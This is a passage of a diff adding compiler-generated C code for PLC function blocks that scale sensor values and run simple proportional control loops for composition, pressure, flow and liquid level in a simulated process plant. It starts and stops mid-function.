+ (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + 